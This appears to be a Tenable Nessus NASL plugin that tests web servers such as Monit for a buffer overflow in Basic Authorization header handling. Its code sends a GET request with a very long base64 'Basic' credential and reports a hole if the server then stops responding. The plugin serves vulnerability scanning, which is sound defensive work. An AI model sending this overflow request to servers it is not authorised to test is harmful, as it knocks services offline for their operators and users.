Web Server HTTP Basic Authorization Header Remote Overflow DoS

#
# (C) Tenable Network Security, Inc.

# Affected:
# Monit
#

include("compat.inc");

if (description)
{
 script_id(12201);
 script_version("$Revision: 1.17 $");
 script_cvs_date("$Date: 2014/05/27 00:36:24 $");

 script_name(english:"Web Server HTTP Basic Authorization Header Remote Overflow DoS");
 script_summary(english:"Attempts to overflow the basic authentication buffer");

 script_set_attribute(attribute:"synopsis", value:
"The remote host is running a web server with a remote buffer overflow
vulnerability.");
 script_set_attribute(attribute:"description", value:
"It was possible to kill the web server by sending a request with a
long basic authentication field.

A remote attacker may exploit this vulnerability to make the web
server crash continually or even execute arbitrary code.");
 script_set_attribute(attribute:"solution", value:
"Upgrade to the latest version or protect it with a filtering reverse
proxy");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");

 script_set_attribute(attribute:"plugin_publication_date", value:"2004/04/11");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_DENIAL);	# Should be ACT_DESTRUCTIVE_ATTACK
 script_copyright(english:"This script is Copyright (C) 2004-2014 Tenable Network Security, Inc.");
 script_family(english:"Web Servers");

 script_dependencies("httpver.nasl", "http_version.nasl", "no404.nasl");
 script_require_keys("Settings/ParanoidReport");
 script_require_ports("Services/www", 80);

 exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = get_http_port(default:80);

if (http_is_dead(port: port)) exit(0);

w = http_send_recv3(port: port, method:"GET", item: "/",
  add_headers: make_array("Authorization",
'Basic ' +
'WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY'+
'WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY'+
'WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY'+
'WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY'+
'WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY'+
'WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY'+
'WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYOlhYWFhYWFhYWFhYWFhY'+
'WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY'+
'WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY'+
'WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY'+
'WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY'+
'WFhYWFhYWFhYWFhYWFg=') );

if (http_is_dead(port: port, retry: 3)) security_hole(port);